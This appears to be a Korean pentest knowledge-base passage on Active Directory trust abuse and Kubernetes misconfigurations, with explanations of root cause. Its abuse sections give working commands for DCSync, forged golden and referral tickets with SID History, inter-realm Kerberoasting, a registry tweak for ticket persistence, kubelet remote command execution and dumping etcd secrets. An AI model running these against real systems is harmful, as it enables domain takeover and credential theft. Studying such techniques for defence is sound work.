{% tab title="UNIX" %}
{% code title="guiddecode.py" %}

```python
import base64
import uuid

# base64 문자열
b64_guid = ''

raw_bytes = base64.b64decode(b64_guid)
guid = str(uuid.UUID(bytes_le=raw_bytes))
print("GUID:", guid)
```

{% endcode %}

<pre class="language-bash"><code class="lang-bash"><strong># TDO GUID 열거
</strong>ldapsearch -x -H ldap://192.168.1.9 -D "Attack3r@pentest.local" -w "Password123!" -b "dc=pentest,dc=local" "(objectClass=trustedDomain)" objectGUID
python3 guiddecode.py

<strong># Inter-realm Key 덤프
</strong>.\mimikatz.exe "lsadump::dcsync /domain:PENTEST.LOCAL /guid:{f2599de1-3401-41dc-967a-80f50343cf1e}"

<strong># 티켓 생성
</strong>impacket-getTGT contoso.com/PENTEST$ -hashes ':ae8ac45464d823b0549450e3e803151f' -dc-ip '192.168.1.11'
export KRB5CCNAME=PENTEST$.ccache

<strong># 커버로스팅 등의 도메인 공격
</strong>impacket-GetUserSPNs contoso.com/'PENTEST$'@192.168.1.11 -k -no-pass
</code></pre>

{% endtab %}
{% endtabs %}

## Root Cause

신뢰 관계가 구성되면 신뢰 패스워드가 생성되어 TDO(Trusted Domain Object)의 trustAuthIncoming(인바운드), trustAuthOutcoming(아웃바운드) 속성에 저장되며, 이 값은 신뢰받는 도메인에 생성되는 신뢰 계정의 패스워드로 사용됩니다.

<figure><img src="/files/AYF2zDYTPgHhOFoZ2oVr" alt=""><figcaption></figcaption></figure>

클라이언트가 외부 도메인 서비스에 접근하여 TGS-REQ를 서버에 전송하면, 서버는 서비스 티켓을 암호화 하기 위한 외부 도메인 서비스 계정의 패스워드 해시를 알지 못합니다. 따라서 외부 도메인과 서로 인증 정보를 교환하기 위한 공통 키가 필요하게 되어 신뢰 패스워드를 사용합니다.

<figure><img src="/files/vWU40t5xmXt8lgecAK1j" alt="" width="563"><figcaption><p><a href="https://adsecurity.org/?p=1588">https://adsecurity.org/?p=1588</a></p></figcaption></figure>

신뢰받는 도메인의 객체가 신뢰하는 도메인 리소스에 접근하려 할 때 언급한 것과 같이 일반적인 커버로스 인증 6단계처럼 TGT를 로컬 도메인 krbtgt 비밀 키로 암호화한다면 외부 도메인에서 이를 복호화할 수 없기 때문에 신뢰 패스워드를 통해 암호화 하는 2단계가 추가됩니다.

실습 환경에서는 KISA와 CONTOSO가 일방향 포레스트 트러스트 관계입니다. 실질적으로 CONTOSO 도메인 객체만이 KISA에 접근할 수 있기 때문에 KISA로부터 생성된 레퍼럴 티켓이 CONTOSO로 전달될 일은 없지만, 설계상 허점으로 인해 KISA에서 생성한 위조된 레퍼럴 티켓이 CONTOSO에서 수용됩니다.

<figure><img src="/files/WhouBXUftMLhLVN5rjtC" alt=""><figcaption><p>일방향 포레스트 트러스트</p></figcaption></figure>

공격자는 KISA.LOCAL을 장악한 이후 신뢰 패스워드를 통해 SID History를 CONTOSO.COM의 엔터프라이즈 관리자로 위조한 레퍼럴 골든 티켓을 생성한 이후 CONTOSO의 관리자 권한을 가질 수 있습니다.

## References

{% embed url="<https://redfoxsec.com/blog/domain-trusts-a-comprehensive-exploitation-guide/>" %}


# Two way Trust

본질적으로 양방향 신뢰 관계라는 구성은 별도로 존재하지 않으며 서로에 대한 일방향 신뢰의 구축에 따라 불리는 이름입니다. Microsoft는 포레스트를 보안 경계로 보기 때문에, 같은 포레스트 내부에서는 양방향 신뢰 관계끼리의 전이성을 갖습니다.

<figure><img src="/files/G92lnPV85mjx2tKIwJWk" alt=""><figcaption><p>전이성을 갖는 양방향 신뢰</p></figcaption></figure>

위 다이어그램에서 도메인 A는 도메인 C와 직접적으로 신뢰 관계를 맺은 적이 없음에도 불구하고 전이성을 가진다면 A와 C 역시 양방향 신뢰가 구축됩니다.

<figure><img src="/files/oxXJkYKrKicjs5rup0E6" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/domain-services/concepts-forest-trust">https://learn.microsoft.com/en-us/entra/identity/domain-services/concepts-forest-trust</a></p></figcaption></figure>

반면 포레스트 간에는 전이성을 갖지 않기 때문에 위와 같은 양방향 신뢰 관계가 있다고 하더라도 wingtiptoys.com과 wideworldimporters.com은 신뢰 관계가 없습니다.

양방향 신뢰는 일방향 신뢰가 두 지점에서 이뤄지는 신뢰 방향이기 때문에 양 도메인에 모두 서로의 도메인 NetBIOS 이름에 $ 기호를 추가한 신뢰 계정이 생성됩니다.

{% hint style="info" %}
양방향 신뢰 관계에서 할 수 있는 공격 행위는 일방향 인바운드 신뢰를 이용해 할 수 있는 공격과 동일합니다.
{% endhint %}


# Parent child Trust

기존에 생성된 도메인의 DC를 DNS 서버로 지정한 새로운 컴퓨터를 도메인 컨트롤러로 승격 시, DNS 서버의 자식 도메인으로 지정하는 것이 가능합니다. 포레스트 내부에 더이상 상위 부모 도메인이 없는 최상위 도메인을 루트 트리라고 일컫습니다.

{% code title="트러스트 구조" %}

```
포레스트: AD-Forest.local
 ├── 트리 1
 │   └── contoso.com             ← 트리 루트
 │       └── seoul.contoso.com   ← 자식 도메인
 └── 트리 2
     └── pentest.local                  ← 트리 루트
         └── kr.pentest.local           ← 자식 도메인
             └── seoul.kr.pentest.local ← kr.pentest.local의 자식 도메인
```

{% endcode %}

위 다이어그램에서 보다시피 포레스트 안에는 여러 루트 트리가 있을 수 있고, 루트 트리 하위에는 수 많은 자식 도메인들이 있을 수 있습니다. 자식 도메인도 또 다른 자식 도메인에게는 부모 도메인이 됩니다.

<figure><img src="/files/GTDdyTNDcfjjyv80N2hB" alt=""><figcaption><p>부모 자식 신뢰</p></figcaption></figure>

부모-자식 관계가 성립되는 순간 두 도메인은 양방향 신뢰 관계가 구성됩니다. 그리고 이러한 신뢰 관계는 전이성을 갖고 있습니다. 예를 들어 위 다이어그램에서 트리2의 경우 다음과 같은 신뢰 관계가 성립됩니다.

`pentest.local ↔ kr.pentest.local ↔ seoul.kr.pentest.local`&#x20;

pentest.local과 kr.pentest.local은 서로 양방향 신뢰를 가지며, kr.pentest.local과 seoul.kr.pentest.local 역시 서로 양방향 신뢰를 갖기 때문에 pentest.local과 seoul.kr.pentest.local은 서로를 신뢰합니다.

## References

{% embed url="<https://www.xn--hy1b43d247a.com/post-exploitation/external-sid-golden-ticket#undefined-2>" %}


# Enterprise Golden Ticket

SID History는 도메인 계정이 외부로 마이그레이션 되었다가 돌아오는 경우를 대비하여 기존의 보안 식별자에 대한 정보를 유지하기 위해 사용되는 계정 속성입니다. 대상 도메인이 SID History에 대해 신뢰할 경우, 공격자는 하위 도메인을 장악한 뒤 티켓의 SID History 값을 변조하여 상위 도메인을 장악할 수 있습니다.

부모 자식 관계에서 부모 도메인의 엔터프라이즈 관리자 그룹은 자식 도메인에 대한 GenericAll 권한을 갖고있기 때문에, 자식 도메인에서 SID History를 통해 부모 도메인의 엔터프라이즈 관리자 그룹 SID를 갖는 골든 티켓을 생성한다면, 해당 부모 도메인의 모든 하위 도메인들을 장악할 수 있습니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell" data-title="mimikatz.exe"><code class="lang-powershell"><strong># 트러스트 도메인 FQDN 및 SID 수집
</strong><strong>.\mimikatz.exe "lsadump::trust" "exit"
</strong>
<strong># 현재 도메인 krbtgt 비밀 키
</strong>.\mimikatz.exe "lsadump::dcsync /user:child\krbtgt /domain:child.contoso.com" "exit"

<strong># 교차 도메인 DCSync
</strong>.\mimikatz.exe "kerberos::golden /user:Administrator /krbtgt:6709f2afdea5f9182231dcc25e8430e8 /domain:child.contoso.com /sid:S-1-5-21-2241985869-2159962460-1278545866 /sids:S-1-5-21-3576695518-347000760-3731839591-519" "exit"
.\mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
.\mimikatz.exe "lsadump::dcsync /domain:contoso.com /dc:ad01.contoso.com /user:contoso\Administrator" "exit"
</code></pre>

<pre class="language-powershell" data-title="Rubeus.exe"><code class="lang-powershell"><strong># 크로스 도메인 SID
</strong>(Get-ADDomain -Server 'contoso.com').DomainSID.Value

<strong># 현재 도메인 SID
</strong>(Get-ADDomain).DomainSID.Value

<strong># 도메인 골든 티켓 생성
</strong>.\Rubeus.exe golden /aes256:f34[...]9c4 /user:Administrator /id:500 /domain:child.contoso.com /sid:&#x3C;Child Domain Sid> /sids:&#x3C;Parent Domain Sid> /dc:contoso.com /nowrap
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre><code><strong># 크로스 도메인 SID
</strong>impacket-lookupsid child.contoso.com/child:'Password123!'@192.168.1.13

<strong># 현재 도메인 SID
</strong>nxc ldap child.contoso.com -u Administrator -p 'Password123!' --get-sid

<strong># 현재 도메인 krbtgt 비밀 키
</strong>impacket-secretsdump child/Administrator:'Password123!'@192.168.1.30 -just-dc

<strong># 크로스 도메인 골든 티켓 생성
</strong>impacket-ticketer -nthash cf5982bea80660350f3cd30c83557ad8 -domain child.contoso.com -domain-sid &#x3C;Child Domain Sid> -extra-sid &#x3C;Parent Domain Sid - 519> Administrator
</code></pre>

{% endtab %}
{% endtabs %}

## Root Cause

<figure><img src="/files/hX2APMq1UJS93iBISEC1" alt=""><figcaption><p>도메인 포레스트 관계</p></figcaption></figure>

실습 환경에서 CHILD와 KISA는 부모 자식 관계이고 CONTOSO는 외부 포레스트입니다. CONTOSO 도메인은 KISA 도메인의 엔터프라이즈 관리자 그룹에 대해 모든 권한을 위임한 상태이기 때문에 KISA 도메인 관리자는 CONTOSO에 DCSync 권한이 있습니다.

<figure><img src="/files/BRZ0FLE1hVPiUF4IudEp" alt=""><figcaption><p>CONTOSO 도메인 권한 설정</p></figcaption></figure>

{% hint style="info" %}
부모 도메인의 엔터프라이즈 관리자 그룹은 기본적으로 자식 도메인에 대해 모든 권한이 있습니다.
{% endhint %}

상황을 가정했기 때문에 외부 포레스트에 대해 모든 권한을 위임했지만 실제 시나리오에서는 하위 도메인이 상위 도메인 엔터프라이즈 관리자 그룹 권한을 탈취할 경우, 해당 도메인의 다른 자식 도메인을 재귀적으로 장악할 수 있습니다.

오프라인에서 위조한 골든 티켓의 PAC을 복호화하면 다음과 같이 ExtraSids 필드에 상위 도메인 엔터프라이즈 관리자 SID가 기입되어 있는 것이 확인됩니다.

<figure><img src="/files/YZ7YmwzZdW61Fu3hXVsA" alt=""><figcaption><p>SID History를 위조한 골든 티켓</p></figcaption></figure>

## References

{% embed url="<https://thalpius.com/2024/04/13/microsoft-defender-for-identity-recommended-actions-remove-unsecure-sid-history-attributes-from-entities/>" %}

{% embed url="<https://www.petenetlive.com/KB/Article/0001306>" %}

{% embed url="<https://harmj0y.medium.com/a-guide-to-attacking-domain-trusts-ef5f8992bb9d>" %}

{% embed url="<https://www.bordergate.co.uk/sid-history-abuse/>" %}

{% embed url="<https://adsecurity.org/?p=1640>" %}


# SID History Injection


# Cross Forest


# External Trust

외부 신뢰 모델은 서로 다른 포레스트에서 루트 트리가 아닌 하위 도메인 간의 비전이성 신뢰 관계입니다. 루트 트리 간의 신뢰 관계가 아니기 때문에 신뢰가 맺어진 도메인의 하위들에 대해서 전이성이 없습니다.

주로 회사 합병으로 인해 포레스트에 넣지 못하는 상황이나, 보안 경계 목적으로 사용하는 모델입니다.

신뢰 계정의 패스워드는 서로 공유하며 TDO에 저장되기 때문에, 신뢰받는 도메인은 신뢰 계정을 사용하여 신뢰하는 도메인에 사용자로써 인증하고 리소스에 접근이 가능합니다.

<figure><img src="/files/OZOmLjdMpx9DsempRjy1" alt=""><figcaption><p>트러스트 모델</p></figcaption></figure>

외부 신뢰 모델은 커버로스 인증을 지원하지 않기 때문에, 신뢰받는 도메인이라 할 지라도 신뢰하는 도메인에 대한 커버로스 인증은 불가능 합니다.

<div><figure><img src="/files/MKV1X4xcYpnHFAd1aFP0" alt=""><figcaption><p>TGS-REQ</p></figcaption></figure> <figure><img src="/files/6c2ynyjD8OTr0nvIExbQ" alt=""><figcaption><p>TGS-REP</p></figcaption></figure></div>

## References

{% embed url="<https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/dd560679(v=ws.10)?redirectedfrom=MSDN>" %}

{% embed url="<https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/kfso-not-work-in-external-trust-event-is-17>" %}

{% embed url="<https://setspn.blogspot.com/2009/09/ad-external-trusts-and-kerberos.html>" %}
\\
{% endembed %}

{% embed url="<https://jorgequestforknowledge.wordpress.com/2011/09/14/kerberos-authentication-over-an-external-trust-is-it-possible-part-6/>" %}


# Inter realm Kerberoasting

도메인 신뢰 패스워드는 어떤 방식으로 신뢰를 구성하는지에 따라 값의 형태가 달라지는데, 일반적인 경우 신뢰 관계가 등록된지 30일 미만의 경우 이 값은 사람이 사용하는 패스워드일 가능성이 높기 때문에 해시 크랙 가능성이 있습니다.

신뢰 패스워드는 레퍼럴 티켓 교환에 사용되는 비밀키로 일반적인 도메인 TGT에서의 krbtgt 비밀키와 동일한 역할을 합니다.

교차 도메인에서 레퍼럴 티켓에 사용되는 이 값이 탈취된다면 신뢰 계정으로 인증하여 보안 경계를 넘어 정보 수집 및 커버로스팅 등의 공격이 가능합니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># Trust Kerberoasting 도구 설치
</strong>git clone https://github.com/KR-mick3y/TrustKerberoasting.git

<strong># contoso 도메인에서 korea 도메인 서비스를 요청하여 커버로스팅
</strong>python3 TrustRoasting.py contoso.com/client:Password123 -target korea.com
</code></pre>

## Root Cause

<figure><img src="/files/bDTNS4VPiuQKayoZKDgT" alt=""><figcaption><p>도메인 신뢰 등록 옵션</p></figcaption></figure>

도메인에서 양방향 신뢰 관계를 구축할 때, 대상 도메인의 관리자 자격 증명을 이용하여 단일 도메인에서 양방향 신뢰 관계를 구축하는 방법과 서로가 서로에게 일방향 신뢰를 맺을 수 있습니다.

`This domain only` 로 신뢰 관계를 등록할 경우 A 도메인에서는 B 도메인에 대한 일방향 신뢰를 등록하고 B 도메인에서도 A 도메인에 대한 일방향 신뢰를 등록해야 합니다. 서로가 신뢰 관계로 등록하면 커버로스 인증을 위한 레퍼럴 티켓을 동일한 krbtgt 비밀키로 암호화 해야 하는데, 신뢰 패스워드가 그 역할을 합니다.

<figure><img src="/files/qie0Kb47ncEJh65HhV8y" alt=""><figcaption><p>Trust Password</p></figcaption></figure>

언급한 것처럼 레퍼럴 티켓의 krbtgt 비밀키가 신뢰 패스워드기 때문에 양 도메인은 서로 신뢰를 구성할 때 동일한 값을 사용해야 합니다.&#x20;

{% hint style="info" %}
This domain only에 따라 신뢰 패스워드를 직접 구성하더라도, 30일 이후부턴 무작위 값으로 관리됩니다.
{% endhint %}

`Both this domain and the specified domain` 으로 신뢰 관계를 등록할 경우 단일 도메인에서 양방향 신뢰 관계가 구축되며, 신뢰를 구성하려는 도메인은 상대 도메인의 관리자 평문 자격 증명이 필요합니다.

<figure><img src="/files/qGASxZDE1NuDJvkXX3q5" alt=""><figcaption><p>대상 도메인 관리자 자격 증명 입력칸</p></figcaption></figure>

신뢰 관계가 성립되면 사용자가 직접 입력하지 않은 신뢰 패스워드는 랜덤한 128비트 값으로 설정되며 30일마다 자동으로 변경됩니다.&#x20;

어떤 방식으로 신뢰를 구성하더라도 신뢰 패스워드는 양 도메인의 TDO(Trusted Domain Object) 컨테이너 하위 Inter-realm Key 항목으로 저장됩니다.

<figure><img src="/files/ahwRtjtBKxTKCe8ULAAX" alt=""><figcaption></figcaption></figure>

글로벌 카탈로그는 자체 포레스트로 제한되기 때문에 Blue 도메인과 Green 도메인이 서로 같은 포레스트 내에 존재하는 신뢰 관계가 아닐 경우, Blue 도메인은 클라이언트가 요청한 Green 도메인 SPN이 실재하는지 확인할 수 없습니다. 이 경우 포레스트 TDO에 나열된 이름 접미사를 비교하여 일치하게 된다면 레퍼럴 티켓을 반환합니다.

<div><figure><img src="/files/mcVHoGj7o3JfZRgd92LV" alt=""><figcaption><p>같은 포레스트 내 위조 SPN 요청(TGS-REQ)</p></figcaption></figure> <figure><img src="/files/olYbZyj2KOJnkZOL3olN" alt=""><figcaption><p>같은 포레스트 내 위조 SPN 응답(TGS-REP)</p></figcaption></figure></div>

하지만 외부 포레스트 관계에서는 글로벌 카탈로그가 SPN의 진위 여부를 파악할 수 없기 때문에 위조 서비스 티켓을 요청하더라도 레퍼럴 티켓은 반환됩니다.

<figure><img src="/files/zOWaRvHX273YaHVLAFN6" alt=""><figcaption><p>위조 SPN 요청</p></figcaption></figure>

PENTEST 도메인 사용자 계정으로 CONTOSO에 없는 SPN을 요청했을 때 getST.py는 없는 SPN이라는 결과를 반환합니다. 하지만 여기서 반환된 에러 메시지는 레퍼럴 티켓에 대한 요청 결과가 아닌, 레퍼럴 티켓을 통해 CONTOSO KDC에 요청한 TGS-REQ의 결과입니다.&#x20;

<figure><img src="/files/h1TxDA6pQaP2Jhe8pUp7" alt=""><figcaption><p>전체 패킷</p></figcaption></figure>

전체 패킷 흐름을 확인하더라도 TGS-REQ가 두번 나오는 것이 확인되고, 두번째 TGS-REP에서 위에서 확인한 에러와 동일한 코드가 나온 것이 확인됩니다. 우리가 탈취하기 위한 Inter-realm Key로 암호화된 레퍼럴 티켓은 첫번째 요청이기 때문에 전혀 문제가 없다는 것을 알 수 있습니다.

<div><figure><img src="/files/BweKN58vV8aezsiGWjro" alt=""><figcaption><p>TGS-REQ</p></figcaption></figure> <figure><img src="/files/6gfRcq9sSQaJd7Z0826i" alt=""><figcaption><p>TGS-REP</p></figcaption></figure></div>

레퍼럴 티켓 요청 패킷을 조금 더 자세히 확인하면 응답 값에서 TGT 정보가 암호화되어 있음이 확인됩니다.

`$krb5tgs$23$*<trustAccount>$$<domain>$krbtgt*$<checksum>$<enc>` 형식으로 맞게 넣어주면 해시 크랙을 할 수 있게 됩니다.

<figure><img src="/files/vsbum4820tv2YnwCu3vB" alt=""><figcaption><p>해시 크랙 결과</p></figcaption></figure>

## References

{% embed url="<https://blog.xpnsec.com/inter-realm-key-roasting/>" %}

{% embed url="<https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-reset-trust>" %}

{% embed url="<https://learn.microsoft.com/ko-kr/entra/identity/domain-services/concepts-forest-trust>" %}


# AllowedReplicationLatency

레퍼럴 티켓 암호화에 사용되는 신뢰 패스워드는 포레스트 트러스트 관계에선 모두 자동으로 생성되며, 교차 포레스트 관계에서 `This domain only` 를 통해 신뢰를 구성했을 때만 유일하게 사용자가 직접 설정할 수 있습니다.

이렇게 구성된 평문 신뢰 패스워드는 [Inter realm Kerberoasting](/active-directory/ad-trust/cross-forest/inter-realm-kerberoasting)을 통해 크랙할 수 있지만, 신뢰 관계가 구축된지 30일 이후부터는 자동으로 관리되기 때문에 크랙이 불가능해집니다.

일반 TGT를 암호화하는 krbtgt의 비밀키와 마찬가지로, 레퍼럴 티켓 또한 신뢰 패스워드가 변경되었을 때 KDC간의 동기화 지연 및 백업 용도로 직전에 사용한 패스워드를 oldKey 형태로 저장합니다.

oldKey는 신뢰 패스워드가 변경된 직후부터 60분동안만 유효하며 이후부터 KDC는 새롭게 변경된 신뢰 패스워드로 레퍼럴 티켓을 복호화하기 때문에 지속성이 짧다는 단점이 있습니다.

하지만 DC의 레지스트리 값을 변경할 수 잇다면 oldKey의 지속시간을 최대 30일 연장할 수 있습니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 레지스트리 값 삽입
</strong>Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\Kdc" -Name "AllowedReplicationLatency" -Value 43200 -Type DWORD

<strong># 설정 복원
</strong>Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\Kdc" -Name "AllowedReplicationLatency"
</code></pre>

## Root Cause

상세한 내용은 kdcsvc.dll 파일을 리버스 엔지니어링함에 따라 확인할 수 있습니다.

<figure><img src="/files/E0Qql5MJXNZfzwpoVOeo" alt=""><figcaption></figcaption></figure>

레퍼럴 티켓을 복호화하는 과정에서 조건 분기는 현재 시간과 신뢰 패스워드가 변경된 시간이 60 \* KdcGlobalDomainPasswordReplSkew 값보다 작은지 검사합니다.

KdcGlobalDomainPasswordReplSkew 값은 v57 배열에서 멤버 변수를 4개씩 갖는 구조체의 멤버입니다.

<figure><img src="/files/8lpx8AEG6JOuHGRVVMWR" alt=""><figcaption></figcaption></figure>

RegOpenKeyW는 Windows API로 가장 마지막 매개변수는 열린 키에 대한 핸들을 받는 포인터입니다.

```
LSTATUS RegOpenKeyExW(
  [in]           HKEY    hKey,
  [in, optional] LPCWSTR lpSubKey,
  [in]           DWORD   ulOptions,
  [in]           REGSAM  samDesired,
  [out]          PHKEY   phkResult
);
```

즉 v1이 가리키는 hKey는 레지스트리 키에 대한 핸들 값인 것이 확인되고, 이를 참조하는 xrefs 결과 offset 타입은 한 곳에서 호출하고 있는 것이 확인됩니다.

<figure><img src="/files/72iwFWlGJ8uc4OpPrBsV" alt=""><figcaption></figcaption></figure>

그리고 이 포인터에 핸들을 반환하는 곳에서 v57 배열에 사용되는 레지스트리 경로를 얻을 수 있습니다.

<figure><img src="/files/FNsrXIaA0oCmQcKnbqvW" alt=""><figcaption></figcaption></figure>

획득한 레지스트리 경로와 값을 조합하여 KdcGlobalDomainPasswordReplSkew 변수와 같은 구조체에 멤버로 속한 레지스트리 값의 절대 경로를 알 수 있습니다.

<figure><img src="/files/5qqMFOUmJX6I0UOrhGWY" alt=""><figcaption><p>HKLM\System\CurrentControlSet\Services\Kdc\AllowedReplicationLatency</p></figcaption></figure>

v57 배열은 총 204개의 값을 저장하고 있으며, 구조체는 4개의 멤버변수를 갖고 있으므로 51개의 구조체가 배열에 담겨있습니다.

<figure><img src="/files/O8qnNygVuFLeuBANRsSw" alt=""><figcaption></figcaption></figure>

GetRegistryDwords 함수 내부로 들어오면 조건 분기가 확인됩니다.

<figure><img src="/files/BDI9pRI1wPZjQ3C9zX6f" alt=""><figcaption></figcaption></figure>

* v6 = (\_DWORD \*)((char \*)a4 + 1660) : v57 배열의 전체 크기는 8 \* 4 \* 51 = 1632바이트로 28바이트 더 큰 값이 v6에 할당됩니다.
* v7 = 51 : 모든 구조체를 순회하기 위한 반복문의 인덱스입니다.
* \--v7 : 1회 반복마다 맨 뒤 구조체부터 맨 앞 구조체까지 1개씩 전진합니다.
* v8 = \*(v6 - 9) == 0 : v6은 현재 1660인데 (DWORD)9 만큼 감소한 값(1624)이 v8에 할당됩니다.
* v6 -= 8 : 매 반복마다 v6은 32바이트 감소하여 다음 구조체로 넘어갑니다.
* if ( !v8 || !KdcGlobalRegistryValuesInitialized ) : 현재 찾는 레지스트리의 구조체 멤버 변수에서 3번째 값이 0이 아닐 경우 분기합니다.
* v10 = RegQueryValueExW(v9, \*(LPCWSTR \*)(v6 - 7), 0LL, Type, Data, \&cbData) : RegQueryValueExW 함수의 반환 결과를 v10에 저장합니다. 이 함수는 레지스트리를 찾는다면 0을, 못 찾는다면 2를 반환합니다.
* if ( !\*(v6 - 2) ) : v6은 첫번째 반복문에서 v57 + 1628(4번째 멤버변수의 상위 4바이트 값인데 거기서 8바이트를 뺀 값은 3번째 멤버변수의 상위 4바이트
* v11 = \*(\_DWORD \*)Data : 레지스트리 값이 있으면서 DWORD이고 구조체의 멤버변수 3번째 값의 상위 4바이트가 0일 경우 v11은 반환 데이터
* goto LABEL\_7 : LABEL 7로 이동
* \*\*(\_DWORD \*\*)(v6 - 5) = v11 : v6 - 5은 두번째 멤버변수를 가리키며, 이곳에 v11을 대입

최종적으로 `HKLM\System\CurrentControlSet\Services\Kdc\AllowedReplicationLatency` 레지스트리 값이 있는지 확인하고 있다면 그 값과, 없다면 60과 60을 곱한 시간 만큼 oldKey가 사용됩니다.

이 값을 최대 값인 43200으로 등록하면 다음 신뢰 패스워드가 변경되어 oldKey가 사라지기 전까지는 최대 한달 간 oldKey를 통해 암호화한 레퍼럴 티켓을 사용할 수 있게 됩니다.

## References

{% embed url="<https://learn.microsoft.com/ko-kr/windows/win32/api/winreg/nf-winreg-regopenkeyexw>" %}

{% embed url="<https://learn.microsoft.com/ko-kr/windows/win32/api/winreg/nf-winreg-regqueryvalueexw>" %}

{% embed url="<https://learn.microsoft.com/ko-kr/windows/win32/debug/system-error-codes--0-499->" %}


# automountServiceAccountToken

automountServiceAccountToken은 SA(Service Account) 토큰을 자동으로 컨테이너에 마운트하는 설정입니다.&#x20;

이 설정은 기본적으로 true 값을 갖기 때문에, 개발자가 의도적으로 값을 false로 변경하지 않는 이상 Pod의 `/var/run/secrets/kubernetes.io/serviceaccount/token` 경로에 토큰이 마운트됩니다.

| automount | ServiceAccountName | 결과                |
| --------- | ------------------ | ----------------- |
| true(기본)  | 미지정 → default      | default SA 토큰 마운트 |
| true(기본)  | 생성한 SA             | custom SA 토큰 마운트  |
| false     |                    | 토큰 마운트 X          |

이 시나리오에서 악용할 상황은 다음과 같을 때 발생합니다.

* default SA에 추가적인 권한을 할당했을 경우
* default SA가 아닌 custom SA의 토큰 정보가 마운트된 경우

## Abuse

<pre><code><strong># SA 토큰 확인
</strong>cat /var/run/secrets/kubernetes.io/serviceaccount/token
</code></pre>

출력된 JWT 토큰을 디코딩하여 serviceaccount 필드의 값을 통해 기본 계정인지 판단할 수 있습니다.

<figure><img src="/files/cGkGo2FPsBtiqa5MAoSo" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://ikcoo.tistory.com/389#google_vignette>" %}


# Anonymous Kubelet

Kubelet은 API 서버와 통신하며 Pod들을 관리하는 각 노드의 에이전트입니다.

<table><thead><tr><th width="141">컴포넌트</th><th width="162">포트</th><th width="195">위치</th><th>역할</th></tr></thead><tbody><tr><td>API Server</td><td>6443</td><td>Control Plane</td><td>클러스터 전체 관리 API</td></tr><tr><td>Kubelet</td><td>10250 / 10255</td><td>각 Worker node</td><td>노드/Pod 관리 API</td></tr></tbody></table>

API 서버와 Kubelet은 REST API를 사용하여 통신하며, Kubelet의 10255(HTTP)는 Read-only, 10250(HTTPS)는 모든 기능을 요청할 수 있는 API 엔드 포인트입니다.

<figure><img src="/files/cZkWptaYA5GxQ03izQ1y" alt=""><figcaption></figcaption></figure>

과거 쿠버네티스 노드의 `/var/lib/kubelet/config.yaml` 파일에는 Kubelet의 엔드포인트에 익명 사용자도 접근을 허용하는 속성이 기본 값으로 설정되어 있었습니다.

현재도 kubelet을 수동으로 구성했다면 기본으로 익명 접근을 허용하지만, kubeadm이나 벤더사에서 제공하는 쿠버네티스 서비스(AKS, EKS 등)는 보안 설정이 되어있습니다.

```yaml
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
  anonymous:
    enabled: true # Anonymous 허용
  webhook:
    cacheTTL: 0s
    enabled: true
  x509:
    clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
  mode: AlwaysAllow # 모든 요청 인가 허용
```

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># pod 목록 조회
</strong>curl -sk https://'&#x3C;node-ip>':10250/pods | jq '.items[].metadata | {namespace, name}'

<strong># 다른 pod에 RCE
</strong>curl -k https://'&#x3C;node-ip>':10250/run/&#x3C;namespace>/&#x3C;pod>/&#x3C;container> -d "cmd=hostname"
</code></pre>


# etcd non-authentication

etcd는 key-value 형태의 오픈소스 데이터베이스이며 Redis와 비슷하지만, 데이터를 디스크에 저장한다는 차이점이 있습니다.

쿠버네티스에서는 클러스터의 모든 상태 정보 등을 저장하고 관리하기 위해 etcd를 사용하는데, etcd 서버에 적절한 인증이 요구되지 않는다면 사실상 모든 정보가 탈취될 수 있습니다.

<figure><img src="/files/SDc92aIqtrvmtT4C4kWj" alt=""><figcaption></figcaption></figure>

etcd v3은 gRPC-gateway를 통해 HTTP/JSON API를 제공하여, 원하는 데이터를 얻고자 할 때는 POST 메소드 요청의 바디 값으로 key-value를 JSON 형태로 전달해야 합니다.

추가로 요청하는 모든 값들은 Base64로 인코딩해서 전송해야하며, 서버로부터 응답받은 데이터도 Base64 인코딩되어 전달됩니다.

```http
POST /v3/kv/range HTTP/1.1
Host: {etcd_host}:2379
Content-Type: application/json

{
  "key": "{base64_encoded_key}", // 조회할 엔드포인트 경로
  "range_end": "{base64_encoded_range_end}"  // 조회할 범위의 끝점(해당 문자 미포함)
}
```

예시로 `/registry/secrets/default/db-credentials` 경로에 접근하여 데이터베이스 크리덴셜에 대해 저장된 값을 얻고자 하면

<pre class="language-bash"><code class="lang-bash"><strong># db-credentials 키 값 조회
</strong>curl -s -X POST http://ETCD:2379/v3/kv/range -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHMvZGVmYXVsdC9kYi1jcmVkZW50aWFscw=="}'

<strong># 서버의 응답
</strong>{"header":{"cluster_id":"11588568905070377092","member_id":"128088275939295631","revision":"5","raft_term":"2"},"kvs":[{"key":"L3JlZ2lzdHJ5L3NlY3JldHMvZGVmYXVsdC9kYi1jcmVkZW50aWFscw==","create_revision":"2","mod_revision":"2","version":"1","value":"eyJhcGlWZXJzaW9uIjoidjEiLCJraW5kIjoiU2VjcmV0IiwiZGF0YSI6eyJ1c2VybmFtZSI6IllXUnRhVzQ9IiwicGFzc3dvcmQiOiJVSEl3WkY5RVFsOVFRSE56ZHpCeVpDRT0ifX0="}],"count":"1"}
</code></pre>

응답의 value 필드를 Base64 디코딩하면 Kubernetes Secret의 JSON 구조가 나오며, 해당 JSON 내부의 data 필드 값들은 한 번 더 Base64로 인코딩되어 있습니다.

<figure><img src="/files/XT3xmlLVVHh8MSr0hKjR" alt=""><figcaption></figcaption></figure>

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># etcd 버전 확인
</strong>curl -s --connect-timeout 2 http://'&#x3C;etcd-server>':2379/version

<strong># 전체 키 덤프
</strong>curl -s -X POST http://'&#x3C;etcd-server>':2379/v3/kv/range -d '{"key":"Lw==","range_end":"MA=="}'
